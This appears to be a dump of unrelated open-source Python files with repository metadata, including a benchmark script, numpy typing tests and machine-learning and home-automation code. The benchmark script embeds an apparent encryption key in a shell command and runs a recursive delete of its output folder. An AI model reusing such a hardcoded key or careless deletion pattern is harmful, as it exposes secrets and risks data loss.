conn.executeQueryFromFile(os.path.join(query_root, prep_query_dir, "create_idx.sql")) conn.commit() except Exception as e: print("unable to run index tables. %s" % e) return 1 conn.close() return 0 except Exception as e: print("unable to connect to the database. %s" % e) return 1

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1

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1

0

null

0

1

0

7

12fd36c031ee93bf7da6c5662b6bf742e39bc47b

4,591

py

Python

test_scripts/test_time.py

piaolaidelangman/xgboost-spark-sgx

305693e3e10436802d3f399df451305e5baf2056

[ "Apache-2.0" ]

null

test_scripts/test_time.py

piaolaidelangman/xgboost-spark-sgx

305693e3e10436802d3f399df451305e5baf2056

[ "Apache-2.0" ]

null

test_scripts/test_time.py

piaolaidelangman/xgboost-spark-sgx

305693e3e10436802d3f399df451305e5baf2056

[ "Apache-2.0" ]

null

import os import sys import subprocess # avg_times = 3 # splitRange = [8,16,32,64,128,256] # sizeRange = [2,4,8,16,32] # with open("time.csv",'w') as timeFile: # timeFile.write("filesize, splitnum, time1, time2, time3, averagetime\n") # for i in sizeRange: # for j in splitRange: # sentence = ((str(i) + "G, ") + str(j) + ", ") # total_time = 0 # for k in range(avg_times): # cmd = """rm -rf ~/diankun/Output/* && java -cp target/xgboostsparksgx-1.0-SNAPSHOT-jar-with-dependencies.jar xgboostsparksgx.SplitAndEncryptForXgboost ~/diankun/data/""" + str(i) + """G_data LDlxjm0y3HdGFniIGviJnMJbmFI+lt3dfIVyPJm1YSY= ~/diankun/Output """ + str(j) # ret, val = subprocess.getstatusoutput(cmd) # for line in val.split("\n"): # if "time" in line: # tmpTime = line.split(" ")[3] # sentence += (tmpTime+", ") # total_time += int(tmpTime) # break # avg_time = int(total_time/avg_times) # sentence += str(avg_time) # print("SUCCESS SUCCESS " + sentence) # timeFile.write(sentence + "\n") avg_times = 3 splitRange8 = [32,64,128,256] splitRange16 = [64,128,256,512] splitRange32 = [128,256,512] sizeRange = [8,16,32] with open("time.csv",'w') as timeFile: timeFile.write("filesize, splitnum, time1, time2, time3, averagetime\n") for i in sizeRange: if i == 8: for j in splitRange8: sentence = ((str(i) + "G, ") + str(j) + ", ") total_time = 0 for k in range(avg_times): cmd = """rm -rf ~/diankun/Output/* && java -cp target/xgboostsparksgx-1.0-SNAPSHOT-jar-with-dependencies.jar xgboostsparksgx.SplitAndEncryptForXgboost ~/diankun/data/""" + str(i) + """G_data LDlxjm0y3HdGFniIGviJnMJbmFI+lt3dfIVyPJm1YSY= ~/diankun/Output """ + str(j) ret, val = subprocess.getstatusoutput(cmd) for line in val.split("\n"): if "time" in line: tmpTime = line.split(" ")[3] sentence += (tmpTime+", ") total_time += int(tmpTime) break avg_time = int(total_time/avg_times) sentence += str(avg_time) print("SUCCESS SUCCESS " + sentence) timeFile.write(sentence + "\n") elif i == 16: for j in splitRange16: sentence = ((str(i) + "G, ") + str(j) + ", ") total_time = 0 for k in range(avg_times): cmd = """rm -rf ~/diankun/Output/* && java -cp target/xgboostsparksgx-1.0-SNAPSHOT-jar-with-dependencies.jar xgboostsparksgx.SplitAndEncryptForXgboost ~/diankun/data/""" + str(i) + """G_data LDlxjm0y3HdGFniIGviJnMJbmFI+lt3dfIVyPJm1YSY= ~/diankun/Output """ + str(j) ret, val = subprocess.getstatusoutput(cmd) for line in val.split("\n"): if "time" in line: tmpTime = line.split(" ")[3] sentence += (tmpTime+", ") total_time += int(tmpTime) break avg_time = int(total_time/avg_times) sentence += str(avg_time) print("SUCCESS SUCCESS " + sentence) timeFile.write(sentence + "\n") else: for j in splitRange32: sentence = ((str(i) + "G, ") + str(j) + ", ") total_time = 0 for k in range(avg_times): cmd = """rm -rf ~/diankun/Output/* && java -cp target/xgboostsparksgx-1.0-SNAPSHOT-jar-with-dependencies.jar xgboostsparksgx.SplitAndEncryptForXgboost ~/diankun/data/""" + str(i) + """G_data LDlxjm0y3HdGFniIGviJnMJbmFI+lt3dfIVyPJm1YSY= ~/diankun/Output """ + str(j) ret, val = subprocess.getstatusoutput(cmd) for line in val.split("\n"): if "time" in line: tmpTime = line.split(" ")[3] sentence += (tmpTime+", ") total_time += int(tmpTime) break avg_time = int(total_time/avg_times) sentence += str(avg_time) print("SUCCESS SUCCESS " + sentence) timeFile.write(sentence + "\n")

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null

0

7

426cda52940b716e13d0202c76e1aa5f0c599e1b

275

py

Python

pqe/cdf_ops/__init__.py

SsnL/poisson_quasimetric_embedding

ea8f1b66ce648dcd6cb53208674d0ee4c352dbaf

[ "BSD-3-Clause" ]

9

2022-03-15T04:23:25.000Z

2022-03-29T09:53:18.000Z

pqe/cdf_ops/__init__.py

SsnL/poisson_quasimetric_embedding

ea8f1b66ce648dcd6cb53208674d0ee4c352dbaf

[ "BSD-3-Clause" ]

1

2022-03-24T02:20:41.000Z

2022-03-24T02:22:27.000Z

pqe/cdf_ops/__init__.py

SsnL/poisson_quasimetric_embedding

ea8f1b66ce648dcd6cb53208674d0ee4c352dbaf

[ "BSD-3-Clause" ]

null

from .op_wrappers import ( chndtr, i0, i0e, i1, i1e, prob_two_poisson_gt, prob_two_poisson_le, \ ndtr, log_ndtr, prod_ndtr ) __all__ = [ 'chndtr', 'i0', 'i0e', 'i1', 'i1e', 'prob_two_poisson_gt', 'prob_two_poisson_le', 'ndtr', 'log_ndtr', 'prod_ndtr', ]

25

73

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275

10

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27.5

0.665179

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false

0

0.111111

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0.111111

0

null

0

1

0

null

0

8

4277f9b57bb26b23afbc6e7f0f3f795303902efc

192

py

Python

plugins/rapid7_insight_agent/icon_rapid7_insight_agent/actions/__init__.py

lukaszlaszuk/insightconnect-plugins

8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892

[ "MIT" ]

46

2019-06-05T20:47:58.000Z

2022-03-29T10:18:01.000Z

plugins/rapid7_insight_agent/icon_rapid7_insight_agent/actions/__init__.py

lukaszlaszuk/insightconnect-plugins

8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892

[ "MIT" ]

386

2019-06-07T20:20:39.000Z

2022-03-30T17:35:01.000Z

plugins/rapid7_insight_agent/icon_rapid7_insight_agent/actions/__init__.py

lukaszlaszuk/insightconnect-plugins

8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892

[ "MIT" ]

43

2019-07-09T14:13:58.000Z

2022-03-28T12:04:46.000Z

# GENERATED BY KOMAND SDK - DO NOT EDIT from .check_agent_status.action import CheckAgentStatus from .get_agent_details.action import GetAgentDetails from .quarantine.action import Quarantine

38.4

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1

0

1

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7

4292041f8302b116a7d3fe3558b887531451209d

8,888

py

Python

venv/Lib/site-packages/numpy/typing/tests/data/reveal/mod.py

EkremBayar/bayar

aad1a32044da671d0b4f11908416044753360b39

[ "MIT" ]

41

2021-06-19T13:57:18.000Z

2021-12-02T17:08:53.000Z

venv/Lib/site-packages/numpy/typing/tests/data/reveal/mod.py

EkremBayar/bayar

aad1a32044da671d0b4f11908416044753360b39

[ "MIT" ]

14

2021-03-26T20:54:22.000Z

2021-04-06T17:18:53.000Z

venv/Lib/site-packages/numpy/typing/tests/data/reveal/mod.py

EkremBayar/bayar

aad1a32044da671d0b4f11908416044753360b39

[ "MIT" ]

8

2021-06-19T14:25:50.000Z

2022-03-25T02:00:29.000Z

import numpy as np f8 = np.float64() i8 = np.int64() u8 = np.uint64() f4 = np.float32() i4 = np.int32() u4 = np.uint32() td = np.timedelta64(0, "D") b_ = np.bool_() b = bool() f = float() i = int() AR = np.array([1], dtype=np.bool_) AR.setflags(write=False) AR2 = np.array([1], dtype=np.timedelta64) AR2.setflags(write=False) # Time structures reveal_type(td % td) # E: numpy.timedelta64 reveal_type(AR2 % td) # E: Any reveal_type(td % AR2) # E: Any reveal_type(divmod(td, td)) # E: Tuple[numpy.signedinteger[numpy.typing._64Bit], numpy.timedelta64] reveal_type(divmod(AR2, td)) # E: Tuple[Any, Any] reveal_type(divmod(td, AR2)) # E: Tuple[Any, Any] # Bool reveal_type(b_ % b) # E: numpy.signedinteger[numpy.typing._8Bit] reveal_type(b_ % i) # E: numpy.signedinteger[Any] reveal_type(b_ % f) # E: numpy.floating[numpy.typing._64Bit] reveal_type(b_ % b_) # E: numpy.signedinteger[numpy.typing._8Bit] reveal_type(b_ % i8) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(b_ % u8) # E: numpy.unsignedinteger[numpy.typing._64Bit] reveal_type(b_ % f8) # E: numpy.floating[numpy.typing._64Bit] reveal_type(b_ % AR) # E: Any reveal_type(divmod(b_, b)) # E: Tuple[numpy.signedinteger[numpy.typing._8Bit], numpy.signedinteger[numpy.typing._8Bit]] reveal_type(divmod(b_, i)) # E: Tuple[numpy.signedinteger[Any], numpy.signedinteger[Any]] reveal_type(divmod(b_, f)) # E: Tuple[numpy.floating[numpy.typing._64Bit], numpy.floating[numpy.typing._64Bit]] reveal_type(divmod(b_, b_)) # E: Tuple[numpy.signedinteger[numpy.typing._8Bit], numpy.signedinteger[numpy.typing._8Bit]] reveal_type(divmod(b_, i8)) # E: Tuple[numpy.signedinteger[numpy.typing._64Bit], numpy.signedinteger[numpy.typing._64Bit]] reveal_type(divmod(b_, u8)) # E: Tuple[numpy.unsignedinteger[numpy.typing._64Bit], numpy.unsignedinteger[numpy.typing._64Bit]] reveal_type(divmod(b_, f8)) # E: Tuple[numpy.floating[numpy.typing._64Bit], numpy.floating[numpy.typing._64Bit]] reveal_type(divmod(b_, AR)) # E: Tuple[Any, Any] reveal_type(b % b_) # E: numpy.signedinteger[numpy.typing._8Bit] reveal_type(i % b_) # E: numpy.signedinteger[Any] reveal_type(f % b_) # E: numpy.floating[numpy.typing._64Bit] reveal_type(b_ % b_) # E: numpy.signedinteger[numpy.typing._8Bit] reveal_type(i8 % b_) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(u8 % b_) # E: numpy.unsignedinteger[numpy.typing._64Bit] reveal_type(f8 % b_) # E: numpy.floating[numpy.typing._64Bit] reveal_type(AR % b_) # E: Any reveal_type(divmod(b, b_)) # E: Tuple[numpy.signedinteger[numpy.typing._8Bit], numpy.signedinteger[numpy.typing._8Bit]] reveal_type(divmod(i, b_)) # E: Tuple[numpy.signedinteger[Any], numpy.signedinteger[Any]] reveal_type(divmod(f, b_)) # E: Tuple[numpy.floating[numpy.typing._64Bit], numpy.floating[numpy.typing._64Bit]] reveal_type(divmod(b_, b_)) # E: Tuple[numpy.signedinteger[numpy.typing._8Bit], numpy.signedinteger[numpy.typing._8Bit]] reveal_type(divmod(i8, b_)) # E: Tuple[numpy.signedinteger[numpy.typing._64Bit], numpy.signedinteger[numpy.typing._64Bit]] reveal_type(divmod(u8, b_)) # E: Tuple[numpy.unsignedinteger[numpy.typing._64Bit], numpy.unsignedinteger[numpy.typing._64Bit]] reveal_type(divmod(f8, b_)) # E: Tuple[numpy.floating[numpy.typing._64Bit], numpy.floating[numpy.typing._64Bit]] reveal_type(divmod(AR, b_)) # E: Tuple[Any, Any] # int reveal_type(i8 % b) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(i8 % i) # E: numpy.signedinteger[Any] reveal_type(i8 % f) # E: numpy.floating[numpy.typing._64Bit] reveal_type(i8 % i8) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(i8 % f8) # E: numpy.floating[numpy.typing._64Bit] reveal_type(i4 % i8) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(i4 % f8) # E: numpy.floating[numpy.typing._64Bit] reveal_type(i4 % i4) # E: numpy.signedinteger[numpy.typing._32Bit] reveal_type(i4 % f4) # E: numpy.floating[numpy.typing._32Bit] reveal_type(i8 % AR) # E: Any reveal_type(divmod(i8, b)) # E: Tuple[numpy.signedinteger[numpy.typing._64Bit], numpy.signedinteger[numpy.typing._64Bit]] reveal_type(divmod(i8, i)) # E: Tuple[numpy.signedinteger[Any], numpy.signedinteger[Any]] reveal_type(divmod(i8, f)) # E: Tuple[numpy.floating[numpy.typing._64Bit], numpy.floating[numpy.typing._64Bit]] reveal_type(divmod(i8, i8)) # E: Tuple[numpy.signedinteger[numpy.typing._64Bit], numpy.signedinteger[numpy.typing._64Bit]] reveal_type(divmod(i8, f8)) # E: Tuple[numpy.floating[numpy.typing._64Bit], numpy.floating[numpy.typing._64Bit]] reveal_type(divmod(i8, i4)) # E: Tuple[numpy.signedinteger[numpy.typing._64Bit], numpy.signedinteger[numpy.typing._64Bit]] reveal_type(divmod(i8, f4)) # E: Tuple[numpy.floating[numpy.typing._64Bit], numpy.floating[numpy.typing._64Bit]] reveal_type(divmod(i4, i4)) # E: Tuple[numpy.signedinteger[numpy.typing._32Bit], numpy.signedinteger[numpy.typing._32Bit]] reveal_type(divmod(i4, f4)) # E: Tuple[numpy.floating[numpy.typing._32Bit], numpy.floating[numpy.typing._32Bit]] reveal_type(divmod(i8, AR)) # E: Tuple[Any, Any] reveal_type(b % i8) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(i % i8) # E: numpy.signedinteger[Any] reveal_type(f % i8) # E: numpy.floating[numpy.typing._64Bit] reveal_type(i8 % i8) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(f8 % i8) # E: numpy.floating[numpy.typing._64Bit] reveal_type(i8 % i4) # E: numpy.signedinteger[numpy.typing._64Bit] reveal_type(f8 % i4) # E: numpy.floating[numpy.typing._64Bit] reveal_type(i4 % i4) # E: numpy.signedinteger[numpy.typing._32Bit] reveal_type(f4 % i4) # E: numpy.floating[numpy.typing._32Bit] reveal_type(AR % i8) # E: Any reveal_type(divmod(b, i8)) # E: Tuple[numpy.signedinteger[numpy.typing._64Bit], numpy.signedinteger[numpy.typing._64Bit]] reveal_type(divmod(i, i8)) # E: Tuple[numpy.signedinteger[Any], numpy.signedinteger[Any]] reveal_type(divmod(f, i8)) # E: Tuple[numpy.floating[numpy.typing._64Bit], numpy.floating[numpy.typing._64Bit]] reveal_type(divmod(i8, i8)) # E: Tuple[numpy.signedinteger[numpy.typing._64Bit], numpy.signedinteger[numpy.typing._64Bit]] reveal_type(divmod(f8, i8)) # E: Tuple[numpy.floating[numpy.typing._64Bit], numpy.floating[numpy.typing._64Bit]] reveal_type(divmod(i4, i8)) # E: Tuple[numpy.signedinteger[numpy.typing._64Bit], numpy.signedinteger[numpy.typing._64Bit]] reveal_type(divmod(f4, i8)) # E: Tuple[numpy.floating[numpy.typing._64Bit], numpy.floating[numpy.typing._64Bit]] reveal_type(divmod(i4, i4)) # E: Tuple[numpy.signedinteger[numpy.typing._32Bit], numpy.signedinteger[numpy.typing._32Bit]] reveal_type(divmod(f4, i4)) # E: Tuple[numpy.floating[numpy.typing._32Bit], numpy.floating[numpy.typing._32Bit]] reveal_type(divmod(AR, i8)) # E: Tuple[Any, Any] # float reveal_type(f8 % b) # E: numpy.floating[numpy.typing._64Bit] reveal_type(f8 % i) # E: numpy.floating[Any] reveal_type(f8 % f) # E: numpy.floating[numpy.typing._64Bit] reveal_type(i8 % f4) # E: numpy.floating[numpy.typing._64Bit] reveal_type(f4 % f4) # E: numpy.floating[numpy.typing._32Bit] reveal_type(f8 % AR) # E: Any reveal_type(divmod(f8, b)) # E: Tuple[numpy.floating[numpy.typing._64Bit], numpy.floating[numpy.typing._64Bit]] reveal_type(divmod(f8, i)) # E: Tuple[numpy.floating[Any], numpy.floating[Any]] reveal_type(divmod(f8, f)) # E: Tuple[numpy.floating[numpy.typing._64Bit], numpy.floating[numpy.typing._64Bit]] reveal_type(divmod(f8, f8)) # E: Tuple[numpy.floating[numpy.typing._64Bit], numpy.floating[numpy.typing._64Bit]] reveal_type(divmod(f8, f4)) # E: Tuple[numpy.floating[numpy.typing._64Bit], numpy.floating[numpy.typing._64Bit]] reveal_type(divmod(f4, f4)) # E: Tuple[numpy.floating[numpy.typing._32Bit], numpy.floating[numpy.typing._32Bit]] reveal_type(divmod(f8, AR)) # E: Tuple[Any, Any] reveal_type(b % f8) # E: numpy.floating[numpy.typing._64Bit] reveal_type(i % f8) # E: numpy.floating[Any] reveal_type(f % f8) # E: numpy.floating[numpy.typing._64Bit] reveal_type(f8 % f8) # E: numpy.floating[numpy.typing._64Bit] reveal_type(f8 % f8) # E: numpy.floating[numpy.typing._64Bit] reveal_type(f4 % f4) # E: numpy.floating[numpy.typing._32Bit] reveal_type(AR % f8) # E: Any reveal_type(divmod(b, f8)) # E: Tuple[numpy.floating[numpy.typing._64Bit], numpy.floating[numpy.typing._64Bit]] reveal_type(divmod(i, f8)) # E: Tuple[numpy.floating[Any], numpy.floating[Any]] reveal_type(divmod(f, f8)) # E: Tuple[numpy.floating[numpy.typing._64Bit], numpy.floating[numpy.typing._64Bit]] reveal_type(divmod(f8, f8)) # E: Tuple[numpy.floating[numpy.typing._64Bit], numpy.floating[numpy.typing._64Bit]] reveal_type(divmod(f4, f8)) # E: Tuple[numpy.floating[numpy.typing._64Bit], numpy.floating[numpy.typing._64Bit]] reveal_type(divmod(f4, f4)) # E: Tuple[numpy.floating[numpy.typing._32Bit], numpy.floating[numpy.typing._32Bit]] reveal_type(divmod(AR, f8)) # E: Tuple[Any, Any]

59.253333

127

0.740549

1,346

8,888

4.698366

0.036404

0.198292

0.212524

0.246679

0.935484

0.924257

0.906705

0.884409

0.85895

0.828748

0

0.045218

0.091809

8,888

149

128

59.651007

0.738231

0.637939

0

0.165289

0

0.000322

0

1

0

false

0

0.008264

0

0.008264

0

null

0

1

0

null

0

8

670c7ad02d36c2d2928ff79b798f4ab44c86495d

7,518

py

Python

mmaction/models/heads/roi_head.py

why-know/YF-OpenLib-mmaction2

355dc5c715796945ec75de2123be2f1a5ae694c7

[ "Apache-2.0" ]

9

2021-05-20T16:34:00.000Z

2022-02-10T04:22:38.000Z

mmaction/models/heads/roi_head.py

why-know/YF-OpenLib-mmaction2

355dc5c715796945ec75de2123be2f1a5ae694c7

[ "Apache-2.0" ]

1

2022-01-09T09:55:06.000Z

mmaction/models/heads/roi_head.py

why-know/YF-OpenLib-mmaction2

355dc5c715796945ec75de2123be2f1a5ae694c7

[ "Apache-2.0" ]

1

2022-01-11T08:29:01.000Z

import numpy as np import torch from mmaction.core.bbox import bbox2result from mmaction.utils import import_module_error_class try: from mmdet.core.bbox import bbox2roi from mmdet.models import HEADS as MMDET_HEADS from mmdet.models.roi_heads import StandardRoIHead mmdet_imported = True except (ImportError, ModuleNotFoundError): mmdet_imported = False if mmdet_imported: @MMDET_HEADS.register_module() class AVARoIHead(StandardRoIHead): def _bbox_forward(self, x, rois): rois = rois.float() bbox_feat = self.bbox_roi_extractor(x, rois) if self.with_shared_head: bbox_feat = self.shared_head(bbox_feat) cls_score, bbox_pred = self.bbox_head(bbox_feat) bbox_results = dict( cls_score=cls_score, bbox_pred=bbox_pred, bbox_feats=bbox_feat) return bbox_results def simple_test(self, x, proposal_list, img_metas, proposals=None, rescale=False): assert self.with_bbox, 'Bbox head must be implemented.' if isinstance(x, tuple): x_shape = x[0].shape else: x_shape = x.shape assert x_shape[0] == 1, 'only accept 1 sample at test mode' assert x_shape[0] == len(img_metas) == len(proposal_list) det_bboxes, det_labels = self.simple_test_bboxes( x, img_metas, proposal_list, self.test_cfg, rescale=rescale) bbox_results = bbox2result( det_bboxes, det_labels, self.bbox_head.num_classes, thr=self.test_cfg.action_thr) return [bbox_results] def simple_test_bboxes(self, x, img_metas, proposals, rcnn_test_cfg, rescale=False): """Test only det bboxes without augmentation.""" rois = bbox2roi(proposals) bbox_results = self._bbox_forward(x, rois) cls_score = bbox_results['cls_score'] img_shape = img_metas[0]['img_shape'] crop_quadruple = np.array([0, 0, 1, 1]) flip = False if 'crop_quadruple' in img_metas[0]: crop_quadruple = img_metas[0]['crop_quadruple'] if 'flip' in img_metas[0]: flip = img_metas[0]['flip'] det_bboxes, det_labels = self.bbox_head.get_det_bboxes( rois, cls_score, img_shape, flip=flip, crop_quadruple=crop_quadruple, cfg=rcnn_test_cfg) return det_bboxes, det_labels else: # Just define an empty class, so that __init__ can import it. @import_module_error_class('mmdet') class AVARoIHead: pass import numpy as np import torch from mmaction.core.bbox import bbox2result from mmaction.utils import import_module_error_class try: from mmdet.core.bbox import bbox2roi from mmdet.models import HEADS as MMDET_HEADS from mmdet.models.roi_heads import StandardRoIHead mmdet_imported = True except (ImportError, ModuleNotFoundError): mmdet_imported = False if mmdet_imported: @MMDET_HEADS.register_module() class Via3RoIHead(StandardRoIHead): def _bbox_forward(self, x, rois): rois = rois.float() bbox_feat = self.bbox_roi_extractor(x, rois) if self.with_shared_head: bbox_feat = self.shared_head(bbox_feat) cls_score, bbox_pred = self.bbox_head(bbox_feat) bbox_results = dict( cls_score=cls_score, bbox_pred=bbox_pred, bbox_feats=bbox_feat) return bbox_results def bbox2result(self, bboxes, labels, num_classes, thr=0.01): """Convert detection results to a list of numpy arrays. Args: bboxes (Tensor): shape (n, 4) labels (Tensor): shape (n, #num_classes) num_classes (int): class number, including background class thr (float): The score threshold used when converting predictions to detection results Returns: list(ndarray): bbox results of each class """ if bboxes.shape[0] == 0: return list(np.zeros((num_classes - 1, 0, 5), dtype=np.float32)) else: bboxes = bboxes.cpu().numpy() labels = labels.cpu().numpy() # We only handle multilabel now assert labels.shape[-1] > 1 scores = labels # rename for clarification thr = (thr,) * num_classes if isinstance(thr, float) else thr assert scores.shape[1] == num_classes assert len(thr) == num_classes result = [] for i in range(num_classes): where = scores[:, i] > thr[i] result.append( np.concatenate((bboxes[where, :4], scores[where, i:i +1]), axis=1)) return result def simple_test(self, x, proposal_list, img_metas, proposals=None, rescale=False): assert self.with_bbox, 'Bbox head must be implemented.' if isinstance(x, tuple): x_shape = x[0].shape else: x_shape = x.shape assert x_shape[0] == 1, 'only accept 1 sample at test mode' assert x_shape[0] == len(img_metas) == len(proposal_list) det_bboxes, det_labels = self.simple_test_bboxes( x, img_metas, proposal_list, self.test_cfg, rescale=rescale) bbox_results = self.bbox2result( det_bboxes, det_labels, self.bbox_head.num_classes, thr=self.test_cfg.action_thr) return [bbox_results] def simple_test_bboxes(self, x, img_metas, proposals, rcnn_test_cfg, rescale=False): """Test only det bboxes without augmentation.""" rois = bbox2roi(proposals) bbox_results = self._bbox_forward(x, rois) cls_score = bbox_results['cls_score'] img_shape = img_metas[0]['img_shape'] crop_quadruple = np.array([0, 0, 1, 1]) flip = False if 'crop_quadruple' in img_metas[0]: crop_quadruple = img_metas[0]['crop_quadruple'] if 'flip' in img_metas[0]: flip = img_metas[0]['flip'] det_bboxes, det_labels = self.bbox_head.get_det_bboxes( rois, cls_score, img_shape, flip=flip, crop_quadruple=crop_quadruple, cfg=rcnn_test_cfg) return det_bboxes, det_labels else: # Just define an empty class, so that __init__ can import it. @import_module_error_class('mmdet') class Via3RoIHead: pass

35.462264

84

0.539106

834

7,518

4.61271

0.173861

0.037432

0.023395

0.037432

0.808682

0

0.012111

0.384943

7,518

211

85

35.630332

0.819853

0.082203

0

0.858025

0

0.036031

0

0.055556

1

0.04321

false

0.012346

0.148148

0

0.265432

0

null

0

1

0

1

0

null

0

7

671c4f479d7f97afec654ab4fa4bf48e53c5da56

2,822

py

Python

onnx_chainer/functions/math/basic_math.py

Hakuyume/onnx-chainer

3c46bd692ef38a7c0f45a2a09795d2023364e12b

[ "MIT" ]

null

onnx_chainer/functions/math/basic_math.py

Hakuyume/onnx-chainer

3c46bd692ef38a7c0f45a2a09795d2023364e12b

[ "MIT" ]

null

onnx_chainer/functions/math/basic_math.py

Hakuyume/onnx-chainer

3c46bd692ef38a7c0f45a2a09795d2023364e12b

[ "MIT" ]

null

import numpy as np from onnx import helper from onnx import numpy_helper from onnx_chainer import mapping import os def convert_unary_operator( func, input_names, param_names, parameters, input_tensors): for i, input_name in enumerate(input_names): if type(input_name) is not str: input_names[i] = str(input_name) layer_name = mapping.operators[func.__class__.__name__] out_names = [str(id(out())) for out in func.outputs] return helper.make_node(layer_name, input_names, out_names), def convert_binary_operator( func, input_names, param_names, parameters, input_tensors): for i, input_name in enumerate(input_names): if type(input_name) is not str: input_names[i] = str(input_name) layer_name = mapping.operators[func.__class__.__name__] out_names = [str(id(out())) for out in func.outputs] return helper.make_node(layer_name, input_names, out_names), def convert_Add(func, input_names, param_names, parameters, input_tensors): return convert_binary_operator( func, input_names, param_names, parameters, input_tensors) def convert_Sub(func, input_names, param_names, parameters, input_tensors): return convert_binary_operator( func, input_names, param_names, parameters, input_tensors) def convert_Mul(func, input_names, param_names, parameters, input_tensors): return convert_binary_operator( func, input_names, param_names, parameters, input_tensors) def convert_Neg(func, input_names, param_names, parameters, input_tensors): return convert_binary_operator( func, input_names, param_names, parameters, input_tensors) def convert_Div(func, input_names, param_names, parameters, input_tensors): return convert_binary_operator( func, input_names, param_names, parameters, input_tensors) def convert_Absolute( func, input_names, param_names, parameters, input_tensors): return convert_unary_operator( func, input_names, param_names, parameters, input_tensors) def convert_PowVarConst( func, input_names, param_names, parameters, input_tensors): layer_name = 'Pow_{}'.format(str(id(func.value))) value = np.asarray([func.value], dtype=func.inputs[0].get_variable().dtype) param_names[id(func.value)] = os.path.join(layer_name, 'value') parameters.append( numpy_helper.from_array( value, param_names[id(func.value)] ) ) input_tensors.append( helper.make_tensor_value_info( param_names[id(func.value)], mapping.dtypes[value.dtype], value.shape ) ) input_names.append(param_names[id(func.value)]) return convert_binary_operator( func, input_names, param_names, parameters, input_tensors)

32.068182

79

0.718285

371

2,822

5.118598

0.172507

0.121116

0.117957

0.160084

0.801474

0.757241

0.733017

0

0.000439

0.192062

2,822

87

80

32.436782

0.832456

0

0.47541

0

0.003898

0

1

0.147541

false

0

0.081967

0.098361

0.377049

0

null

0

1

0

null

0

7

679b067c6e149259e77b4979e94286af5fd19288

187

py

Python

services/plc_connector/json_converter/py/messages/__init__.py

koorya/machine_scripting

01e5474a8131e7c81266b9bc21f7400a45c808fc

[ "MIT" ]

null

services/plc_connector/json_converter/py/messages/__init__.py

koorya/machine_scripting

01e5474a8131e7c81266b9bc21f7400a45c808fc

[ "MIT" ]

27

2021-12-14T07:10:23.000Z

2022-02-28T10:04:26.000Z

services/plc_connector/json_converter/py/messages/__init__.py

koorya/machine_scripting

01e5474a8131e7c81266b9bc21f7400a45c808fc

[ "MIT" ]

null

from ..messages.cnn_task import CNNTask from ..messages.cnn_answer import CNNAnswer from ..messages.service_task import ServiceTask from ..messages.service_response import ServiceResponse

46.75

55

0.855615

24

187

6.5

0.5

0.307692

0.192308

0

0.080214

187

4

55

46.75

0.906977

0

1

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true

0

1

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1

0

1

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null

1

0

1

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null

0

1

0

1

0

1

0

7

67a8d8154cab0921e50e8c8ef217dc3f3e9a5d14

70

py

Python

src/test.py

Shreejan-35/VAULTERPY

91823a880b406b8958eb4bb91ee311671c39eae2

[ "MIT" ]

2

2022-03-27T21:56:18.000Z

2022-03-30T09:06:29.000Z

src/test.py

Shreejan-35/PYVAULT

91823a880b406b8958eb4bb91ee311671c39eae2

[ "MIT" ]

null

src/test.py

Shreejan-35/PYVAULT

91823a880b406b8958eb4bb91ee311671c39eae2

[ "MIT" ]

null

from vaulter_py import * from vaulter_py.passvault import main main()

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8

67e17881015281b2b0e5610621f45ebfa08a5360

3,758

py

Python

tests/test_zone.py

oliverpell/pymultiMATIC

f4029bdd7d043b9d9f6411da13596535c89c077b

[ "MIT" ]

30

2019-12-01T16:04:11.000Z

2022-02-28T09:23:52.000Z

tests/test_zone.py

oliverpell/pymultiMATIC

f4029bdd7d043b9d9f6411da13596535c89c077b

[ "MIT" ]

43

2019-11-09T18:55:10.000Z

2022-02-25T20:05:55.000Z

tests/test_zone.py

oliverpell/pymultiMATIC

f4029bdd7d043b9d9f6411da13596535c89c077b

[ "MIT" ]

7

2020-08-03T08:44:18.000Z

2022-02-27T10:15:46.000Z

import unittest from pymultimatic.model import ActiveFunction, OperatingModes, SettingModes, Zone, ZoneCooling from tests.conftest import _time_program, _zone, _zone_cooling class ZoneTest(unittest.TestCase): def test_get_active_mode_night(self) -> None: zone = _zone() zone.heating.operating_mode = OperatingModes.NIGHT active_mode = zone.active_mode self.assertEqual(OperatingModes.NIGHT, active_mode.current) self.assertEqual(zone.heating.target_low, active_mode.target) self.assertIsNone(active_mode.sub) def test_get_active_mode_day(self) -> None: zone = _zone() zone.heating.operating_mode = OperatingModes.DAY active_mode = zone.active_mode self.assertEqual(OperatingModes.DAY, active_mode.current) self.assertEqual(zone.heating.target_high, active_mode.target) self.assertIsNone(active_mode.sub) def test_get_active_mode_off(self) -> None: zone = _zone() zone.heating.operating_mode = OperatingModes.OFF active_mode = zone.active_mode self.assertEqual(OperatingModes.OFF, active_mode.current) self.assertEqual(Zone.MIN_TARGET_HEATING_TEMP, active_mode.target) self.assertIsNone(active_mode.sub) def test_cooling_active_mode_auto(self) -> None: cooling = ZoneCooling() cooling.operating_mode = OperatingModes.AUTO cooling.time_program = _time_program() active_mode = cooling.active_mode self.assertEqual(OperatingModes.AUTO, active_mode.current) self.assertEqual(SettingModes.ON, active_mode.sub) def test_cooling_active_mode_auto_off(self) -> None: cooling = ZoneCooling() cooling.operating_mode = OperatingModes.AUTO cooling.time_program = _time_program(mode=SettingModes.OFF) active_mode = cooling.active_mode self.assertEqual(OperatingModes.AUTO, active_mode.current) self.assertEqual(SettingModes.OFF, active_mode.sub) def test_cooling_active_mode_on(self) -> None: cooling = ZoneCooling() cooling.operating_mode = OperatingModes.ON cooling.time_program = _time_program() active_mode = cooling.active_mode self.assertEqual(OperatingModes.ON, active_mode.current) self.assertIsNone(active_mode.sub) def test_cooling_active_mode_off(self) -> None: cooling = ZoneCooling() cooling.operating_mode = OperatingModes.OFF cooling.time_program = _time_program() active_mode = cooling.active_mode self.assertEqual(OperatingModes.OFF, active_mode.current) self.assertIsNone(active_mode.sub) def test_get_active_mode_cooling_auto(self) -> None: zone = _zone_cooling() active_mode = zone.active_mode self.assertEqual(OperatingModes.AUTO, active_mode.current) self.assertEqual(zone.cooling.target_high, 